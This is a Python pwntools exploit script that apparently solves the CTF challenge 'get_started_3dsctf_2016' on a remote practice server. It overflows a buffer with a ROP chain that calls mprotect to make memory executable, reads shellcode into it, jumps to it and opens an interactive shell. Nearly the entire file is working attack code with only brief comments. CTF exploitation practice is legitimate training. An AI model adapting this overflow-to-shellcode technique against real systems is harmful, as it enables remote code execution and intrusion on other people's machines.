#!/usr/bin/env python
# coding=utf-8
from pwn import *

# io = process('./get_started_3dsctf_2016')
io = remote("node3.buuoj.cn", 25199)
elf = ELF('./get_started_3dsctf_2016')

offset = 0x38
shell_addr = 0x80EA000
pop_3_ret = 0x080509a5
shellcode = asm(shellcraft.sh(), arch="i386", os="linux")
mprotect = elf.symbols['mprotect']
read = elf.symbols['read']

# Payload: mprotect(address, length, authority:7(rwx))
#          pop 3 times && ret
#          read(0, &bss, length)
#          execute(&bss)
payload = cyclic(offset) \
        + p32(mprotect) \
        + p32(pop_3_ret) \
        + p32(shell_addr) \
        + p32(0x2c) \
        + p32(0x07) \
        + p32(read) \
        + p32(shell_addr) \
        + p32(0x00) \
        + p32(shell_addr) \
        + p32(0x2c)

io.sendline(payload)
sleep(1)
io.sendline(shellcode)
io.interactive()
